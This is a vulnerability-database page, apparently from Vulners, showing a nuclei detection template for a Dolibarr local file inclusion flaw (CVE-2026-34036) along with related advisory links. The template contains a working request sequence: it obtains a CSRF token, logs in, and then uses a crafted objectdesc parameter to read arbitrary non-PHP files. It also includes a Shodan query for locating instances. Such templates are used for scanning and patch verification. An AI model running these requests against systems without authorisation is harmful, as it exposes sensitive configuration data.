Lucene search
+L

Dolibarr <=22.0.4 - Local File Inclusion

🗓️ 09 Sep 2026 02:52:56Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 15 Views

Dolibarr up to 22.0.4 allows local file inclusion via objectdesc and fail-open, exposing non-PHP files to authenticated users.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-34036
31 Mar 202620:32
githubexploit
githubexploit
GithubExploit
nuclei-custom-templates
25 Jul 202609:19
githubexploit
attackerkb
ATTACKERKB
CVE-2026-34036
31 Mar 202601:39
attackerkb
circl
Circl
CVE-2026-34036
25 Mar 202613:49
circl
cnnvd
CNNVD
Dolibarr 安全漏洞
31 Mar 202600:00
cnnvd
cve
CVE
CVE-2026-34036
31 Mar 202601:39
cve
cvelist
Cvelist
CVE-2026-34036 Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php
31 Mar 202601:39
cvelist
github
Github Security Blog
Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php
27 Mar 202618:04
github
kitploit
Kitploit
CVE-2026-34036
3 Sep 202601:23
kitploit
nvd
NVD
CVE-2026-34036
31 Mar 202603:15
nvd
Rows per page
id: CVE-2026-34036

info:
  name: Dolibarr <=22.0.4 - Local File Inclusion
  author: y0no
  severity: medium
  description: |
    Dolibarr <= 22.0.4 contains a local file inclusion caused by manipulation of the objectdesc parameter and a fail-open logic flaw in restrictedArea() in /core/ajax/selectobject.php, letting authenticated users with no specific privileges read arbitrary non-PHP files.
  impact: |
    Authenticated users can read arbitrary non-PHP files, potentially exposing sensitive configuration and data files.
  remediation: |
    Update to the latest version once patches are available.
  reference:
    - https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-2mfj-r695-5h9r
    - https://github.com/Dolibarr/dolibarr/commit/743c22e57c0b2a017d6b92bec865d71ce6177a6a
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34036
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-34036
    epss-score: 0.01464
    epss-percentile: 0.71941
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 3
    vendor: dolibarr
    product: dolibarr
    shodan-query: http.title:"Dolibarr"
  tags: cve,cve2026,dolibarr,lfi,auth,vuln,authenticated

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - 'name="token" value="([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /index.php?mainmenu=home HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        token={{csrf}}&actionlogin=login&loginfunction=loginfunction&username={{username}}&password={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
        internal: true

  - raw:
      - |
        GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:includes/.htaccess:0 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "FilesMatch"
          - "SetHandler"
        condition: and

      - type: word
        part: body
        words:
          - "actionlogin"
          - "Login @"
        condition: or
        negative: true
# digest: 4a0a00473045022100aa413e9648c11b54fb96b462c53b35bb654b807f57404e72f90d1429a3ca4c1102205eff41da92b51228923d7a68a791cf4415c6ecc0015b77aaa788c690c7984f7d:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Jul 2026 21:15Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.16.5
EPSS0.01464
SSVC
15